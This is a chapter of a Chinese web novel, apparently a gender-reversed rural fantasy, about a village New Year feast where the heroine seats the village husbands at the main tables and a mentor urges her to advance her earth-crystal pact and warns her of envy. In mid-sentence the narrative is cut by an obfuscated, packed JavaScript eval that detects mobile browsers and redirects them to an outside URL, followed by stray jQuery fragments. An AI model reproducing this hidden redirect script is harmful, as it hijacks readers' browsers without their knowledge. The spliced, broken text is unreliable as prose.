腊月二十三，小年。


    凛冽寒风似也被李家坳东头陈家小院蒸腾的热气熏软几分。


    天光未透亮，院里已人声鼎沸。临时垒起的土灶内，粗柴噼啪作响，炽焰舔舐架上巨锅。滚水翻腾，白茫茫雾气裹挟霸道肉香弥漫开来，勾得早早赶来的村民腹中馋虫蠢动。


    陈谷雨一身靛青利落棉袄，袖口紧束，指挥几位壮实婶子烧水、搬挪桌椅，举手投足间带着地晶赋予的力量与利落。


    谢晚舟则领着几位相熟年轻夫郎在灶间忙碌，备置待客碗箸、酱料、配菜。他亦着了新裁深灰棉袍，身形更显挺拔，眉眼沉静如常，却隐隐透着一股被郑重对待后的莹润神采。


    三姑婆裹着厚实新棉衣，坐于堂屋门口避风处，既能看清院子，又不受寒气侵扰。


    她捧着热茶，浑浊老眼扫视这前所未有的喧腾景象，心头滋味杂陈。


    欣慰于谷雨能干与家业兴旺，可当目光落在院子西侧——几张长条桌拼凑处，围坐着的是村里的长辈婶娘！而紧挨东侧陈谷雨主桌旁的几张桌子，坐着的，赫然是村里那些素日只配缩在灶间门后的夫郎们！


    三姑婆端茶的手猛地一抖，滚烫水珠溅落手背，她却浑然不觉。


    天母娘娘！她看见了甚？！


    那些平日见人不敢抬头、言语细如蚊蚋的夫郎们，此刻竟也端坐席上！虽与女客分桌，位置却几近对称，桌上碗碟菜肴，瞧着竟与女客那边一般无二！无稀粥糊糊，无残羹冷炙，是实打实、热腾腾的杀猪菜！


    赵老蔫家的男人，臂上伤痕似愈了大半，虽仍有瑟缩，此刻却小心为旁座更怯懦的夫郎布菜。孙二娘的夫郎，脸上带着梦游般的茫然，小口尝着碗中油亮的酸菜炖白肉，如在品鉴琼浆玉馐。


    更有自家那几个回门吃席的儿子，围坐夫郎桌一角，脸上是三姑婆久违的光彩，低语交谈间，眉眼是掩不住的松快与……笑意？甚至不时与邻桌相熟的夫郎交换心照不宣的眼风。


    “这…这成何体统！”


    三姑婆心头惊涛拍岸，几欲叱出口。这丫头，胆大包天！李家坳几百年，何曾让夫郎们上正席？还与女客同食？乱了尊卑！传将出去，陈家怕是要被戳断脊梁骨！


    可当她浑浊目光再次掠过儿子桌上真切笑容，瞧见他们碗中堆尖的肉菜，听着比平日响亮的说笑……一股难以言喻的暖流，悄然漫过心田干涸的沟壑。


    那惊骇竟被冲淡几分，化作了丝丝缕缕的窝心。


    罢了罢了，谷雨是当家人，她既敢为……或许，这世道，真该变变了？！


    三姑婆低头抿茶，将翻涌心绪连同茶水一道咽下。


    “开席喽！”


    洪亮吆喝声起，巨锅盖掀！浓郁香气如实质喷薄。


    大块颤巍巍、油亮亮的五花肉，酸爽开胃的酸菜，滑嫩的血肠，软糯的拆骨肉……被大勺舀起，热气腾腾分送各桌。院内气氛瞬间点燃。


    女客这边，划拳行令，笑声爽朗，话着收成，议着陈家仁义。


    夫郎那边，初时拘谨沉默，很快，在食物慰藉与这前所未有的、“入席”的奇异氛围中，低语声渐起，音量虽不高，却透着小心翼翼的、真实的愉悦。


    孩童们如撒欢小犬，在桌腿间追逐嬉闹，抢拾大人赏下的肉骨。


    陈谷雨在主桌应酬李娘子等村中长辈，眼角余光却始终留意全院。见夫郎桌气氛渐活，谢晚舟于其间沉稳穿梭，添汤布菜，偶有低语引得对方感激又局促的笑……她心弦微松。


    “好生热闹！这香气，隔二里地都勾人！陈娘子，叨扰了！”清朗带笑声音自院门传来。


    是柳青。


    她依旧一身半旧靛蓝袄裙，肩头沾几点晶莹雪沫，风尘仆仆却神清气爽，手中提一小坛酒，笑意盈盈立于门口。


    “柳师君！”


    陈谷雨眸中惊喜乍亮，立时起身相迎，亲自引她至主桌空位，“您竟真的来了！天寒路远，谷雨心中感念！快请坐，尝尝我们这乡野粗菜。”


    “哈哈，闻着这般香，岂能不来？”


    柳青爽朗一笑，目光扫过喧闹和谐的院子，尤其在夫郎桌停留片刻，眼中了然与赞许愈深，“前次与陈娘子一晤，甚觉投契。今岁小年，想着你这新家初立，头回操办大事，某便不请自来了，权当添个热闹，也看看你这丫头又弄出什么新气象。”


    她带来的酒启封，清冽酒香为席面更添暖意。


    酒过三巡，席间正酣。


    陈谷雨觑得空档，端杯与柳青移至稍僻静处。


    她压低声音，眼中求知之火灼灼：“柳师君，谷雨有一事，思虑已久，恳请赐教。”


    “哦？但说无妨。”柳青搁下箸，饶有兴味。


    “是关于女子读书科举之事。”陈谷雨语带急切，“听闻县州有女子学堂，亦能考取功名。谷雨…心向往之，不知其中关窍？如我这等年纪，出身乡野，可还有望？”


    柳青闻言，眼中讶色一闪，旋即化为温和笑意。


    她端起酒杯轻抿，目光洞悉地看着陈谷雨：“陈娘子有此志向，令人钦佩。然则……”


    她话锋微转，语气更显务实恳切，“以我观之，陈娘子眼下最紧要处，非在科举，而在于你足下这片土地，在于你地中那枚白晶！”


    陈谷雨一怔：“请师君明示。”


    “地晶契约，乃你立身之本，天赋所系！”


    柳青声音清晰平缓，目光意有所指扫过陈谷雨掌心，“你与白晶契约，潜力之深厚，某平生罕见。此乃天赐禀赋，万不可轻忽！提升地晶品阶，深耕农事，惠泽乡里，此乃‘武’道，根基厚实，前途无量。科举入仕，是‘文’道。两条路，本无高下，然侧重迥异。”


    她顿了顿，语气更重：“地晶择主者，鲜有舍本逐末，去挤那千军万马的独木桥。非是才智不足，实乃契约维系、地力精进需全神贯注，耗费心神巨大，与皓首穷经、揣摩时文所需心力大相径庭。通常……”


    她略顿，声更低，“是那些久未得地晶认可，或契约品阶低微、晋升无望的女子，方将科举视为改命之途。陈娘子得天独厚，当务之急，便是勤耕不辍，心无旁骛，早日令白晶进阶！待根基稳固，田产丰饶，家业殷实，你在乡里威望自成，说话才有分量，行事才有底气。若彼时仍存向学之心，再涉猎经史，陶冶性情，亦为时不晚。此刻分心，恐两头皆误，辜负了这份天赐之缘，更是自毁长城！”


    陈谷雨如遭当头棒喝！原来如此！


    地晶与科举，竟是类似“文武”之别，且根基迥异！


    她一心念着前世才女之路，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328205|182614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    竟险些忘了今生这独一无二的立命根基！


    柳青之言，如拨云见日，瞬间廓清了她心中迷雾。


    一念之差，险些铸成大错！


    地晶进阶，方是她这“地主”应循之康庄大道！


    “师君金玉良言，谷雨茅塞顿开！”陈谷雨心悦诚服，郑重举杯相敬，“定当以农为本，勤修地晶，不敢懈怠！”


    柳青含笑饮尽，放下酒杯，目光再次掠过西侧夫郎桌，最终落在温和待人的谢晚舟身上。


    她沉吟片刻，忽以仅二人可闻之声低语：“陈娘子行事章法独具，今日宴客，更令人耳目一新。然则……‘不患寡而患不均’。善待家中夫郎，本是善举。然此‘善待’若过于卓然，打破此地经年累月形成的‘均势’……恐福祸相依，反生枝节。恐招致非议妒忌是小，若引得某些习惯了旧规的人心生怨怼，暗地里使绊子，甚至煽动排挤，便是大祸。”


    “世人或能忍受普遍苛待，却难容身边之人得了自己永不可得的殊遇！”


    “这‘殊遇’在你眼中是善，在他们眼中，便是刺眼的不公，是挑衅。”


    陈谷雨心头剧震！不患寡而患不均！柳青这是在警示她！


    她对谢晚舟的态度，对夫郎们的“破格”优待，在这等级森严之地，太过醒目！


    三姑婆那惊骇的眼神、村民们离席时眼中闪过的复杂情绪……瞬间涌入脑海。


    她只顾本心准则，竟忘了周遭环境的凶险叵测！


    这洞察世情的警语，如一盆冰水，瞬间浇熄了她因宴席顺遂而生的些许自得，惊出后背一层薄汗。“师君警世之言，谷雨……铭刻五内！”


    她郑重颔首，声音微紧，手心不自觉地攥紧了袖口。


    柳青见她听入心中，便不再深言。


    恰好一阵寒风卷过，她拢了拢衣襟，仿佛不经意般提起：“今冬这风，着实酷寒。听闻北地雪灾肆虐，连京城亦受波及，屋舍多有坍塌。唉，偏生此时，圣上龙体违和已非一日，太女殿下监国，手段雷霆，朝中格局……倒是日渐明朗了。”


    皇帝病笃？太女权柄日盛？


    这遥远朝堂的风云，如一颗石子投入陈谷雨刚刚被冰水浇过的心湖，却也没有漾开什么涟漪。


    她垂眸，将杯中残酒一饮而尽。


    宴席持续至日影西斜。杯盘狼藉，笑语渐歇。


    村民携着满腹油水与满心慨叹，或新奇，或艳羡，或隐隐不安告辞而去。


    夫郎们帮着拾掇残局，脸上多浮着满足红晕与一丝不易察觉的、悄然挺直的腰背。


    谢晚舟送走最后一位客人，转身回院，正迎上陈谷雨若有所思的目光。


    他脚步微顿，清澈眼眸映着冬日残阳的余晖，亦映着她的身影。


    那目光中，有感激，有温软，更有一种无声的、沉甸甸的信赖。


    陈谷雨望着他，耳边回响着柳青关于“地晶进阶乃根本”的恳切叮嘱，关于“不均”可能引发暗流的深沉警示。


    擦肩而过的刹那，陈谷雨感到袖口一紧——


    是谢晚舟垂下的手，指尖飞快地、带着一丝不易察觉的力道，勾住了她的棉袄袖缘，旋即松开，仿佛只是冬日里一阵无意的风。


    “谢谢。”他说。


    ------